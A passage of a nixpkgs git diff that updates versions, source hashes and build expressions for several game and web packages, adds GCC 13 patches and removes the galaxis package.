nspr , pango , udev +, libsecret , libuuid , libX11 , libxcb @@ -53,12 +54,12 @@ let dist = { aarch64-linux = { arch = "arm64"; - sha256 = "sha256-shiUW7o6H0aaGCgHm3oVqjLZNsB4KIn7EIxWRVCAWi0="; + sha256 = "sha256-esboLFqCziTlCFHyK6GxFq9Rik9jHiqX6ED0D53P1K4="; }; x86_64-linux = { arch = "64"; - sha256 = "sha256-R6mejxuxSZv37nyjnt/oGvgqCw1pULCHCWnlw+pq8iY="; + sha256 = "sha256-NH5bfz74/WIXbNdYs6Hoh/FF54v2+b4Ci5T7Y095Akw="; }; }.${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}"); @@ -107,6 +108,7 @@ stdenv.mkDerivation rec { pango udev libdrm + libsecret libuuid libX11 libxcb diff --git a/pkgs/development/web/publii/default.nix b/pkgs/development/web/publii/default.nix index 5c5d776516eea..e6dbca0e71dfd 100644 --- a/pkgs/development/web/publii/default.nix +++ b/pkgs/development/web/publii/default.nix @@ -25,11 +25,11 @@ stdenv.mkDerivation rec { pname = "publii"; - version = "0.44.4"; + version = "0.45.1"; src = fetchurl { url = "https://getpublii.com/download/Publii-${version}.deb"; - hash = "sha256-Qk7Ix8VLfrgT4VbSIQFwB5oVfjgeSi8nttQWovptliw="; + hash = "sha256-R+TlxF6j5qv7wOr4lxCqd1pulyiEXPUe4B2HFMhD020="; }; dontConfigure = true; diff --git a/pkgs/development/web/twitter-bootstrap/default.nix b/pkgs/development/web/twitter-bootstrap/default.nix index 86b35decf6769..328154ef810fa 100644 --- a/pkgs/development/web/twitter-bootstrap/default.nix +++ b/pkgs/development/web/twitter-bootstrap/default.nix @@ -6,11 +6,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "bootstrap"; - version = "5.3.2"; + version = "5.3.3"; src = fetchurl { url = "https://github.com/twbs/bootstrap/releases/download/v${finalAttrs.version}/bootstrap-${finalAttrs.version}-dist.zip"; - hash = "sha256-hUlReGqLkaBeQ9DyIATFyddhdeFv1vUNeTnnsBhMPgk="; + hash = "sha256-WwokWrhFiVFmjSn9FJ/GyOY8Z2l378I4IqIjwIJF3ho="; }; nativeBuildInputs = [ unzip ]; diff --git a/pkgs/games/alienarena/default.nix b/pkgs/games/alienarena/default.nix index 39b232b267c34..2aff5c86151e6 100644 --- a/pkgs/games/alienarena/default.nix +++ b/pkgs/games/alienarena/default.nix @@ -1,19 +1,42 @@ -{ lib, stdenv, fetchsvn, pkg-config, libjpeg, libX11, libXxf86vm, curl, libogg -, libvorbis, freetype, openal, libGL }: +{ curl +, fetchFromGitHub +, freetype +, lib +, libGL +, libjpeg +, libogg +, libvorbis +, libX11 +, libXxf86vm +, openal +, pkg-config +, stdenv +}: stdenv.mkDerivation rec { pname = "alienarena"; - version = "7.71.2"; + version = "7.71.6"; - src = fetchsvn { - url = "svn://svn.icculus.org/alienarena/trunk"; - rev = "5673"; - sha256 = "1qfrgrp7nznk5n1jqvjba6l1w8y2ixzyx9swkpvd02rdwlwrp9kw"; + src = fetchFromGitHub { + owner = "alienarena"; + repo = "alienarena"; + rev = version; + hash = "sha256-Dml0VY5VQiWLq8LjItBSzNwJB9L4biJ/nJWmEGtG2ZY="; }; nativeBuildInputs = [ pkg-config ]; - buildInputs = [ libjpeg libX11 curl libogg libvorbis - freetype openal libGL libXxf86vm ]; + + buildInputs = [ + curl + freetype + libGL + libjpeg + libogg + libvorbis + libX11 + libXxf86vm + openal + ]; patchPhase = '' substituteInPlace ./configure \ @@ -22,6 +45,7 @@ stdenv.mkDerivation rec { ''; meta = with lib; { + changelog = "https://github.com/alienarena/alienarena/releases/tag/${version}"; description = "A free, stand-alone first-person shooter computer game"; longDescription = '' Do you like old school deathmatch with modern features? How @@ -32,7 +56,7 @@ stdenv.mkDerivation rec { with a retro alien theme, while adding tons of original ideas to make the game quite unique. ''; - homepage = "http://red.planetarena.org"; + homepage = "https://alienarena.org"; # Engine is under GPLv2, everything else is under license = licenses.unfreeRedistributable; maintainers = with maintainers; [ astsmtl ]; diff --git a/pkgs/games/brogue-ce/default.nix b/pkgs/games/brogue-ce/default.nix index 77e58ed5a1a6a..32ca328492bcd 100644 --- a/pkgs/games/brogue-ce/default.nix +++ b/pkgs/games/brogue-ce/default.nix @@ -7,14 +7,14 @@ , SDL2_image }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "brogue-ce"; version = "1.13"; src = fetchFromGitHub { owner = "tmewett"; repo = "BrogueCE"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; hash = "sha256-FUIdi1Ytn+INeD9550MW41qXtLb6in0QS3Snt8QaXUA="; }; @@ -60,4 +60,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ AndersonTorres fgaz ]; platforms = platforms.all; }; -} +}) diff --git a/pkgs/games/brogue/default.nix b/pkgs/games/brogue/default.nix index 0cd3e779c5631..770ff36229231 100644 --- a/pkgs/games/brogue/default.nix +++ b/pkgs/games/brogue/default.nix @@ -1,11 +1,11 @@ { lib, stdenv, fetchurl, fetchpatch, SDL, ncurses, libtcod, makeDesktopItem }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "brogue"; version = "1.7.5"; src = fetchurl { - url = "https://sites.google.com/site/broguegame/brogue-${version}-linux-amd64.tbz2"; + url = "https://sites.google.com/site/broguegame/brogue-${finalAttrs.version}-linux-amd64.tbz2"; sha256 = "0i042zb3axjf0cpgpdh8hvfn66dbfizidyvw0iymjk2n760z2kx7"; }; patches = [ @@ -40,7 +40,7 @@ stdenv.mkDerivation rec { installPhase = '' install -m 555 -D bin/brogue $out/bin/brogue - install -m 444 -D ${desktopItem}/share/applications/brogue.desktop $out/share/applications/brogue.desktop + install -m 444 -D ${finalAttrs.desktopItem}/share/applications/brogue.desktop $out/share/applications/brogue.desktop install -m 444 -D bin/brogue-icon.png $out/share/icons/hicolor/256x256/apps/brogue.png mkdir -p $out/share/brogue cp -r bin/fonts $out/share/brogue/ @@ -56,4 +56,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ AndersonTorres fgaz ]; platforms = [ "x86_64-linux" ]; }; -} +}) diff --git a/pkgs/games/cataclysm-dda/git.nix b/pkgs/games/cataclysm-dda/git.nix index c7090838b862c..155f900e96f30 100644 --- a/pkgs/games/cataclysm-dda/git.nix +++ b/pkgs/games/cataclysm-dda/git.nix @@ -1,4 +1,4 @@ -{ stdenv, lib, callPackage, CoreFoundation, fetchFromGitHub, pkgs, wrapCDDA, attachPkgs +{ stdenv, lib, callPackage, CoreFoundation, fetchFromGitHub, fetchpatch, pkgs, wrapCDDA, attachPkgs , tiles ? true, Cocoa , debug ? false , useXdgDir ? false @@ -25,6 +25,19 @@ let patches = [ # Unconditionally look for translation files in $out/share/locale ./locale-path.patch + # Fixes for failing build with GCC 13, remove on updating next release after 0.G + (fetchpatch { + url = "https://sources.debian.org/data/main/c/cataclysm-dda/0.G-4/debian/patches/gcc13-dangling-reference-warning.patch"; + hash = "sha256-9nPbyz49IYBOVHqr7jzCIyS8z/SQgpK4EjEz1fruIPE="; + }) + (fetchpatch { + url = "https://sources.debian.org/data/main/c/cataclysm-dda/0.G-4/debian/patches/gcc13-cstdint.patch"; + hash = "sha256-8IBW2OzAHVgEJZoViQ490n37sl31hA55ePuqDL/lil0="; + }) + (fetchpatch { + url = "https://sources.debian.org/data/main/c/cataclysm-dda/0.G-4/debian/patches/gcc13-keyword-requires.patch"; + hash = "sha256-8yvHh0YKC7AC/qzia7AZAfMewMC0RiSepMXpOkMXRd8="; + }) ]; makeFlags = common.makeFlags ++ [ diff --git a/pkgs/games/cataclysm-dda/stable.nix b/pkgs/games/cataclysm-dda/stable.nix index 0e4ca1aad882f..90eab89a83496 100644 --- a/pkgs/games/cataclysm-dda/stable.nix +++ b/pkgs/games/cataclysm-dda/stable.nix @@ -30,6 +30,19 @@ let patches = [ # Unconditionally look for translation files in $out/share/locale ./locale-path.patch + # Fixes for failing build with GCC 13, remove on updating next release after 0.G + (fetchpatch { + url = "https://sources.debian.org/data/main/c/cataclysm-dda/0.G-4/debian/patches/gcc13-dangling-reference-warning.patch"; + hash = "sha256-9nPbyz49IYBOVHqr7jzCIyS8z/SQgpK4EjEz1fruIPE="; + }) + (fetchpatch { + url = "https://sources.debian.org/data/main/c/cataclysm-dda/0.G-4/debian/patches/gcc13-cstdint.patch"; + hash = "sha256-8IBW2OzAHVgEJZoViQ490n37sl31hA55ePuqDL/lil0="; + }) + (fetchpatch { + url = "https://sources.debian.org/data/main/c/cataclysm-dda/0.G-4/debian/patches/gcc13-keyword-requires.patch"; + hash = "sha256-8yvHh0YKC7AC/qzia7AZAfMewMC0RiSepMXpOkMXRd8="; + }) ]; makeFlags = common.makeFlags ++ [ diff --git a/pkgs/games/cdogs-sdl/default.nix b/pkgs/games/cdogs-sdl/default.nix index 5c74b10ef32ad..e6ea213b62200 100644 --- a/pkgs/games/cdogs-sdl/default.nix +++ b/pkgs/games/cdogs-sdl/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "cdogs-sdl"; - version = "1.5.0"; + version = "2.0.0"; src = fetchFromGitHub { repo = pname; owner = "cxong"; rev = version; - sha256 = "sha256-XSq0TK3ZuLOa8JJnp/Qxt16Ru3p35tq5FOo4+tv+c60="; + sha256 = "sha256-es04sCqthjf9unK2mbsBVHlxOeTpimQ+ViabhC/WD0I="; }; postPatch = '' diff --git a/pkgs/games/curseofwar/default.nix b/pkgs/games/curseofwar/default.nix index fef456816ff22..c0accf1e7b649 100644 --- a/pkgs/games/curseofwar/default.nix +++ b/pkgs/games/curseofwar/default.nix @@ -4,14 +4,14 @@ , SDL }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "curseofwar"; version = "1.3.0"; src = fetchFromGitHub { owner = "a-nikolaev"; - repo = pname; - rev = "v${version}"; + repo = "curseofwar"; + rev = "v${finalAttrs.version}"; sha256 = "1wd71wdnj9izg5d95m81yx3684g4zdi7fsy0j5wwnbd9j34ilz1i"; }; @@ -33,5 +33,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.all; }; -} - +}) diff --git a/pkgs/games/doom-ports/slade/default.nix b/pkgs/games/doom-ports/slade/default.nix index 9e9fc837e820a..9ab3d1f458d5d 100644 --- a/pkgs/games/doom-ports/slade/default.nix +++ b/pkgs/games/doom-ports/slade/default.nix @@ -15,21 +15,23 @@ , glew , lua , mpg123 +, wrapGAppsHook }: stdenv.mkDerivation rec { pname = "slade"; - version = "3.2.4"; + version = "3.2.5"; src = fetchFromGitHub { owner = "sirjuddington"; repo = "SLADE"; rev = version; - sha256 = "sha256-CN01w+sXXRqvQqu1whePAb+phVx+VM8tL2NusfnCyF8="; + sha256 = "sha256-FBpf1YApwVpWSpUfa2LOrkS1Ef34sKCIZ6ic+Pczs14="; }; - postPatch = lib.optionalString (!stdenv.hostPlatform.isx86) '' - sed -i '/-msse/d' src/CMakeLists.txt + postPatch = '' + substituteInPlace dist/CMakeLists.txt \ + --replace "PK3_OUTPUT" "PK3_DESTINATION" ''; nativeBuildInputs = [ @@ -37,6 +39,7 @@ stdenv.mkDerivation rec { pkg-config which zip + wrapGAppsHook ]; buildInputs = [ @@ -54,10 +57,17 @@ stdenv.mkDerivation rec { cmakeFlags = [ "-DwxWidgets_LIBRARIES=${wxGTK}/lib" + "-DBUILD_PK3=ON" ]; env.NIX_CFLAGS_COMPILE = "-Wno-narrowing"; + preFixup = '' + gappsWrapperArgs+=( + --prefix GDK_BACKEND : x11 + ) + ''; + meta = with lib; { description = "Doom editor"; homepage = "http://slade.mancubus.net/"; diff --git a/pkgs/games/endless-sky/default.nix b/pkgs/games/endless-sky/default.nix index 9a3e86117cef4..ffb71f393ca2e 100644 --- a/pkgs/games/endless-sky/default.nix +++ b/pkgs/games/endless-sky/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "endless-sky"; - version = "0.10.4"; + version = "0.10.6"; src = fetchFromGitHub { owner = "endless-sky"; repo = "endless-sky"; rev = "v${version}"; - sha256 = "sha256-VTg8H6umq9yMMP274StIJfEZZvUFDILiMKhioam58QE="; + sha256 = "sha256-3mprmW6K8pYs7J2q71fohsh9fZEP2RZjN1rSWUAwbhg="; }; patches = [ diff --git a/pkgs/games/factorio/versions.json b/pkgs/games/factorio/versions.json index 9e5f6d3e6533c..a627e967d1993 100644 --- a/pkgs/games/factorio/versions.json +++ b/pkgs/games/factorio/versions.json @@ -2,56 +2,56 @@ "x86_64-linux": { "alpha": { "experimental": { - "name": "factorio_alpha_x64-1.1.101.tar.xz", + "name": "factorio_alpha_x64-1.1.104.tar.xz", "needsAuth": true, - "sha256": "07f8hcyf4hmf9lpa2ljm6ygpaaj2yd28da4krwa5yzjvqs88b4fq", + "sha256": "0aizllbfzbn2j0560n4f823jqq7v7qz813an4wlm39rfsfx7b0vq", "tarDirectory": "x64", - "url": "https://factorio.com/get-download/1.1.101/alpha/linux64", - "version": "1.1.101" + "url": "https://factorio.com/get-download/1.1.104/alpha/linux64", + "version": "1.1.104" }, "stable": { - "name": "factorio_alpha_x64-1.1.101.tar.xz", + "name": "factorio_alpha_x64-1.1.104.tar.xz", "needsAuth": true, - "sha256": "07f8hcyf4hmf9lpa2ljm6ygpaaj2yd28da4krwa5yzjvqs88b4fq", + "sha256": "0aizllbfzbn2j0560n4f823jqq7v7qz813an4wlm39rfsfx7b0vq", "tarDirectory": "x64", - "url": "https://factorio.com/get-download/1.1.101/alpha/linux64", - "version": "1.1.101" + "url": "https://factorio.com/get-download/1.1.104/alpha/linux64", + "version": "1.1.104" } }, "demo": { "experimental": { - "name": "factorio_demo_x64-1.1.101.tar.xz", + "name": "factorio_demo_x64-1.1.104.tar.xz", "needsAuth": false, - "sha256": "14cnz4y1iqjv8ks0w1k60qy1nqjn33wajwzdpnmxgcz01rzfqd8a", + "sha256": "0x08dy6pagfpqc9c2cl239b1f7pf0p4cghzp7avxmbkmbl1fan2l", "tarDirectory": "x64", - "url": "https://factorio.com/get-download/1.1.101/demo/linux64", - "version": "1.1.101" + "url": "https://factorio.com/get-download/1.1.104/demo/linux64", + "version": "1.1.104" }, "stable": { - "name": "factorio_demo_x64-1.1.101.tar.xz", + "name": "factorio_demo_x64-1.1.104.tar.xz", "needsAuth": false, - "sha256": "14cnz4y1iqjv8ks0w1k60qy1nqjn33wajwzdpnmxgcz01rzfqd8a", + "sha256": "0x08dy6pagfpqc9c2cl239b1f7pf0p4cghzp7avxmbkmbl1fan2l", "tarDirectory": "x64", - "url": "https://factorio.com/get-download/1.1.101/demo/linux64", - "version": "1.1.101" + "url": "https://factorio.com/get-download/1.1.104/demo/linux64", + "version": "1.1.104" } }, "headless": { "experimental": { - "name": "factorio_headless_x64-1.1.101.tar.xz", + "name": "factorio_headless_x64-1.1.104.tar.xz", "needsAuth": false, - "sha256": "14l3cg8swl3l7lzp44j4zk9wldzf4g23vda67wyzfyx82pvad206", + "sha256": "10qmq2mw2j97s64skwr3m7hmv21h3m0r8rdhnyfrhmrxn8x3a4wf", "tarDirectory": "x64", - "url": "https://factorio.com/get-download/1.1.101/headless/linux64", - "version": "1.1.101" + "url": "https://factorio.com/get-download/1.1.104/headless/linux64", + "version": "1.1.104" }, "stable": { - "name": "factorio_headless_x64-1.1.101.tar.xz", + "name": "factorio_headless_x64-1.1.104.tar.xz", "needsAuth": false, - "sha256": "14l3cg8swl3l7lzp44j4zk9wldzf4g23vda67wyzfyx82pvad206", + "sha256": "10qmq2mw2j97s64skwr3m7hmv21h3m0r8rdhnyfrhmrxn8x3a4wf", "tarDirectory": "x64", - "url": "https://factorio.com/get-download/1.1.101/headless/linux64", - "version": "1.1.101" + "url": "https://factorio.com/get-download/1.1.104/headless/linux64", + "version": "1.1.104" } } } diff --git a/pkgs/games/fallout-ce/fallout-ce.nix b/pkgs/games/fallout-ce/fallout-ce.nix index 5f55743a674b7..2f229fdf73801 100644 --- a/pkgs/games/fallout-ce/fallout-ce.nix +++ b/pkgs/games/fallout-ce/fallout-ce.nix @@ -4,13 +4,13 @@ callPackage ./build.nix rec { pname = "fallout-ce"; - version = "1.0.0"; + version = "1.1.0"; src = fetchFromGitHub { owner = "alexbatalov"; repo = "fallout1-ce"; rev = "v${version}"; - hash = "sha256-EvRkOlvtiVao63S0WRKKuHlhfkdTgc0m6GTyv4EfJFU="; + hash = "sha256-ZiBoF3SL00sN0QrD3fkWG9SAknumOvzRB1oQJff6ITA="; }; extraMeta = { diff --git a/pkgs/games/ferium/default.nix b/pkgs/games/ferium/default.nix index 8c923d0b7bec4..903dd70222f6a 100644 --- a/pkgs/games/ferium/default.nix +++ b/pkgs/games/ferium/default.nix @@ -2,18 +2,18 @@ rustPlatform.buildRustPackage rec { pname = "ferium"; - version = "4.5.0"; + version = "4.5.2"; src = fetchFromGitHub { owner = "gorilla-devs"; repo = pname; rev = "v${version}"; - sha256 = "sha256-1avmzaIDz4/ARewB7yLYMBVtwdkY4FFfwcHAZSyg1Xc="; + sha256 = "sha256-tYRs6HfFTdUZqWal9pLZ0uUNCPr3+zQz5JV2ohOLIP8="; }; buildInputs = lib.optionals stdenv.isDarwin [ Security ]; - cargoHash = "sha256-IOnTJ/0mul7buBDNHkeqMM9NrFiX58xa03bVGrbAdNg="; + cargoHash = "sha256-5ClBS42hWw3ULEG1Qn+fiM6dvJ+xS4Dusy3BCj5Cvbg="; # Disable the GUI file picker so that GTK/XDG dependencies aren't used buildNoDefaultFeatures = true; diff --git a/pkgs/games/freeciv/default.nix b/pkgs/games/freeciv/default.nix index bccec663dbaa5..9ff36c949ce3c 100644 --- a/pkgs/games/freeciv/default.nix +++ b/pkgs/games/freeciv/default.nix @@ -10,13 +10,13 @@ stdenv.mkDerivation rec { pname = "freeciv"; - version = "3.0.9"; + version = "3.0.10"; src = fetchFromGitHub { owner = "freeciv"; repo = "freeciv"; rev = "R${lib.replaceStrings [ "." ] [ "_" ] version}"; - hash = "sha256-vtkGV97FG43HIKPJ/of7jXWSrwHWgHUjwtq0XJPeKws="; + hash = "sha256-f+VJYWsfsoGLs9Ypk5cJQgn86PhsJ/6ODDjlnp84Frg="; }; postPatch = '' diff --git a/pkgs/games/galaxis/default.nix b/pkgs/games/galaxis/default.nix deleted file mode 100644 index a3847e73c8daa..0000000000000 --- a/pkgs/games/galaxis/default.nix +++ /dev/null @@ -1,47 +0,0 @@ -{ lib, stdenv, fetchurl, ncurses, xmlto }: - -with lib; -stdenv.mkDerivation rec { - - pname = "galaxis"; - version = "1.10"; - - src = fetchurl{ - url = "http://www.catb.org/~esr/galaxis/${pname}-${version}.tar.gz"; - sha256 = "1181x3z4r0794v2bkpigb5fablw1nayj42wvhy2am79p7j1iqq5r"; - }; - - buildInputs = [ ncurses xmlto ]; - - patchPhase = '' - sed -i\ - -e 's|^install: galaxis\.6 uninstall|install: galaxis.6|'\ - -e 's|usr/||g' -e 's|ROOT|DESTDIR|g'\ - -e 's|install -m 755 -o 0 -g 0|install -m 755|' Makefile - ''; - - dontConfigure = true; - - makeFlags = [ "DESTDIR=$(out)" ]; - - meta = { - description = "Rescue lifeboats lost in interstellar space"; - longDescription = '' - Lifeboats from a crippled interstellar liner are adrift in a starfield. To - find them, you can place probes that look in all eight compass directions - and tell you how many lifeboats they see. If you drop a probe directly on - a lifeboat it will be revealed immediately. Your objective: find the - lifeboats as quickly as possible, before the stranded passengers run out - of oxygen! - - This is a UNIX-hosted, curses-based clone of the nifty little Macintosh - freeware game Galaxis. It doesn't have the super-simple, point-and-click - interface of the original, but compensates by automating away some of the - game's simpler deductions. - ''; - homepage = "http://catb.org/~esr/galaxis/"; - license = licenses.gpl2; - maintainers = [ maintainers.AndersonTorres ]; - platforms = platforms.linux; - }; -} diff --git a/pkgs/games/gcompris/default.nix b/pkgs/games/gcompris/default.nix index a9e9f860d8528..c6e16da0280c4 100644 --- a/pkgs/games/gcompris/default.nix +++ b/pkgs/games/gcompris/default.nix @@ -20,11 +20,11 @@ stdenv.mkDerivation rec { pname = "gcompris"; - version = "3.3"; + version = "4.0"; src = fetchurl { url = "mirror://kde/stable/gcompris/qt/src/gcompris-qt-${version}.tar.xz"; - hash = "sha256-8hqiq1wYw4irbOXCrwcJqTMuLISzSmSqPuw2Rn8XzQA="; + hash = "sha256-wcTqnK7ESv+jWHr5asedlkQ5rZV9iV4PLS8yQkvuDrY="; }; cmakeFlags = [ diff --git a/pkgs/games/gimx/default.nix b/pkgs/games/gimx/default.nix index 9c2b260f1dbfc..4173ac0cc2d6d 100644 --- a/pkgs/games/gimx/default.nix +++ b/pkgs/games/gimx/default.nix @@ -1,4 +1,5 @@ -{ stdenv, lib, fetchFromGitHub, makeWrapper, curl, libusb1, xorg, libxml2 +{ stdenv, lib, fetchFromGitHub, fetchpatch +, makeWrapper, curl, libusb1, xorg, libxml2 , ncurses5, bluez, libmhash, gimxPdpGamepad ? false }: let @@ -21,7 +22,23 @@ in stdenv.mkDerivation rec { sha256 = "05kdv2qqr311c2p76hdlgvrq7b04vcpps5c80zn8b8l7p831ilgz"; }; - patches = [ ./conf.patch ]; + patches = [ + ./conf.patch + + # gcc-13 build fixes: + # https://github.com/matlo/GIMX/pull/705 + (fetchpatch { + name = "gcc-13-headers.patch"; + url = "https://github.com/matlo/GIMX/commit/4525dff4d9af672116d8c6c182707f2ad6295b2d.patch"; + hash = "sha256-LkswnFsxqADooa09yO7Yf0AbxTrGfjBObyv/6FQJvRs="; + }) + (fetchpatch { + name = "gcc-13-protos.patch"; + url = "https://github.com/matlo/GIMX/commit/f11855fcb8bd9d0cb9c94871b4111ddfd5b610df.patch"; + hash = "sha256-JL67UUsEyPcOuaimJtMviiGLGghuq9665Lg1QuiaWUU="; + }) + ]; + nativeBuildInputs = [ makeWrapper ]; buildInputs = [ curl libusb1 bluez libxml2 ncurses5 libmhash diff --git a/pkgs/games/gnonograms/default.nix b/pkgs/games/gnonograms/default.nix index 2446384ff719a..c021ca46f57a5 100644 --- a/pkgs/games/gnonograms/default.nix +++ b/pkgs/games/gnonograms/default.nix @@ -16,14 +16,14 @@ , libhandy }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "gnonograms"; version = "2.1.2"; src = fetchFromGitHub { owner = "jeremypw"; repo = "gnonograms"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; sha256 = "sha256-TkEVjrwlr4Q5FsfcdY+9fxwaMq+DFs0RwGI2E+GT5Mk="; }; @@ -63,4 +63,4 @@ stdenv.mkDerivation rec { homepage = "https://github.com/jeremypw/gnonograms"; platforms = platforms.all; }; -} +}) diff --git a/pkgs/games/gnujump/default.nix b/pkgs/games/gnujump/default.nix index 1c918395d40be..0fdffcf6fadb5 100644 --- a/pkgs/games/gnujump/default.nix +++ b/pkgs/games/gnujump/default.nix @@ -1,10 +1,10 @@ { lib, stdenv, makeDesktopItem, copyDesktopItems, fetchurl, SDL, SDL_image, SDL_mixer }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "gnujump"; version = "1.0.8"; src = fetchurl { - url = "mirror://gnu/gnujump/${pname}-${version}.tar.gz"; + url = "mirror://gnu/gnujump/gnujump-${finalAttrs.version}.tar.gz"; sha256 = "05syy9mzbyqcfnm0hrswlmhwlwx54f0l6zhcaq8c1c0f8dgzxhqk"; }; @@ -39,4 +39,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.linux; }; -} +}) diff --git a/pkgs/games/gogdl/default.nix b/pkgs/games/gogdl/default.nix index d6f5d6d10ae0f..83bf90147b5f0 100644 --- a/pkgs/games/gogdl/default.nix +++ b/pkgs/games/gogdl/default.nix @@ -11,14 +11,14 @@ buildPythonApplication rec { pname = "gogdl"; - version = "1.0.0"; + version = "1.0.1"; format = "pyproject"; src = fetchFromGitHub { owner = "Heroic-Games-Launcher"; repo = "heroic-gogdl"; - rev = "e1c3e5b98feda53ea88f54f9aa5c614ae9424ef0"; - hash = "sha256-MGxpWfDGchZruVmSiea5s1JQV23F9QvQLWrxPmIsBEo="; + rev = "10b4a19e0fbe9bc3db6b9ce3ea49fd17c9f1d37d"; + hash = "sha256-po9To5WfT0L2j48Q84ygbbIqtTfXP9uQPrl4Uu+CWGk="; }; disabled = pythonOlder "3.8"; diff --git a/pkgs/games/heroic/default.nix b/pkgs/games/heroic/default.nix index ef3f13dc1bf0c..03165fa5df7d0 100644 --- a/pkgs/games/heroic/default.nix +++ b/pkgs/games/heroic/default.nix @@ -17,18 +17,18 @@ let appName = "heroic"; in stdenv.mkDerivation rec { pname = "heroic-unwrapped"; - version = "2.12.1"; + version = "2.13.0"; src = fetchFromGitHub { owner = "Heroic-Games-Launcher"; repo = "HeroicGamesLauncher"; rev = "v${version}"; - hash = "sha256-dfyyxE2U5rSSoTY2L5bKsnjQ8u53GgAXa+V+idDr51Q="; + hash = "sha256-02agp4EGT23QBKC8j1JIAkzVLRykFl55aH/wPF0bU/Y="; }; offlineCache = fetchYarnDeps { yarnLock = "${src}/yarn.lock"; - hash = "sha256-27r6lZiD1Ptk0WIYdwNLSZy6iMnmaZjKXBUjr+5+1lQ="; + hash = "sha256-hd0wY1an12zY0E6VPjiD23Mn5ZDPvFvIdu6FGoc7nYY="; }; nativeBuildInputs = [ diff --git a/pkgs/games/hikounomizu/default.nix b/pkgs/games/hikounomizu/default.nix index bca6c8ecf8b96..6e05a17b082e0 100644 --- a/pkgs/games/hikounomizu/default.nix +++ b/pkgs/games/hikounomizu/default.nix @@ -22,12 +22,12 @@ , bc }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "hikounomizu"; version = "1.0.1"; src = fetchurl { - url = "http://download.tuxfamily.org/hnm/${version}/hikounomizu-${version}-src.tar.bz2"; + url = "http://download.tuxfamily.org/hnm/${finalAttrs.version}/hikounomizu-${finalAttrs.version}-src.tar.bz2"; hash = "sha256-3wRhe6CDq1dD0SObAygfqslYJx+EM3LM3rj6HI0whYU="; }; @@ -78,4 +78,4 @@ stdenv.mkDerivation rec { license = [ licenses.gpl3Plus licenses.lal13 ]; platforms = platforms.all; }; -} +}) diff --git a/pkgs/games/hyperrogue/default.nix b/pkgs/games/hyperrogue/default.nix index ed2ef9d67cc13..ddbe41df430e7 100644 --- a/pkgs/games/hyperrogue/default.nix +++ b/pkgs/games/hyperrogue/default.nix @@ -3,13 +3,13 @@ stdenv.mkDerivation rec { pname = "hyperrogue"; - version = "13.0a"; + version = "13.0c"; src = fetchFromGitHub { owner = "zenorogue"; repo = "hyperrogue"; rev = "v${version}"; - sha256 = "sha256-ebUS5J2NXv6MRoVLg9Ymc5+h9Wn85fKd9N4ohxMxpq4="; + sha256 = "sha256-eELR/1GzR9wWJ433rIpueMu9omlsl1y5rmvG3GgSHZA="; }; CXXFLAGS = [ diff --git a/pkgs/games/katago/default.nix b/pkgs/games/katago/default.nix index 4a66f6cc711e7..834ec0774d7ae 100644 --- a/pkgs/games/katago/default.nix +++ b/pkgs/games/katago/default.nix @@ -19,6 +19,7 @@ , enableBigBoards ? false , enableContrib ? false , enableTcmalloc ? true +, enableTrtPlanCache ? false }: assert lib.assertOneOf "backend" backend [ "opencl" "cuda" "tensorrt" "eigen" ]; @@ -67,25 +68,15 @@ stdenv.mkDerivation rec { ]; cmakeFlags = [ - "-DNO_GIT_REVISION=ON" - ] ++ lib.optionals enableAVX2 [ - "-DUSE_AVX2=ON" - ] ++ lib.optionals (backend == "eigen") [ - "-DUSE_BACKEND=EIGEN" - ] ++ lib.optionals (backend == "cuda") [ - "-DUSE_BACKEND=CUDA" - ] ++ lib.optionals (backend == "tensorrt") [ - "-DUSE_BACKEND=TENSORRT" - ] ++ lib.optionals (backend == "opencl") [ - "-DUSE_BACKEND=OPENCL" + (lib.cmakeFeature "USE_BACKEND" (lib.toUpper backend)) + (lib.cmakeBool "USE_AVX2" enableAVX2) + (lib.cmakeBool "USE_TCMALLOC" enableTcmalloc) + (lib.cmakeBool "USE_BIGGER_BOARDS_EXPENSIVE" enableBigBoards) + (lib.cmakeBool "USE_CACHE_TENSORRT_PLAN" enableTrtPlanCache) + (lib.cmakeBool "NO_GIT_REVISION" (!enableContrib)) ] ++ lib.optionals enableContrib [ - "-DBUILD_DISTRIBUTED=1" - "-DNO_GIT_REVISION=OFF" - "-DGIT_EXECUTABLE=${fakegit}/bin/git" - ] ++ lib.optionals enableTcmalloc [ - "-DUSE_TCMALLOC=ON" - ] ++ lib.optionals enableBigBoards [ - "-DUSE_BIGGER_BOARDS_EXPENSIVE=ON" + (lib.cmakeBool "BUILD_DISTRIBUTED" true) + (lib.cmakeFeature "GIT_EXECUTABLE" "${fakegit}/bin/git") ]; preConfigure = '' diff --git a/pkgs/games/libremines/default.nix b/pkgs/games/libremines/default.nix index fb7f6ae968730..fddc2ba920010 100644 --- a/pkgs/games/libremines/default.nix +++ b/pkgs/games/libremines/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "libremines"; - version = "1.10.0"; + version = "2.0.0"; src = fetchFromGitHub { owner = "Bollos00"; repo = pname; rev = "v${version}"; - hash = "sha256-aqWzTvvRoke+Rakb6dNpDoD7haKHEKW3XARGLrH2WiY="; + hash = "sha256-LejDXjli+AEVGp23y+ez/NyJY/8w7uHcOij6RsDwIH4="; }; nativeBuildInputs = [ cmake wrapQtAppsHook ]; diff --git a/pkgs/games/minesweep-rs/default.nix b/pkgs/games/minesweep-rs/default.nix index b2445fe904a5c..454be1129634d 100644 --- a/pkgs/games/minesweep-rs/default.nix +++ b/pkgs/games/minesweep-rs/default.nix @@ -5,16 +5,16 @@ 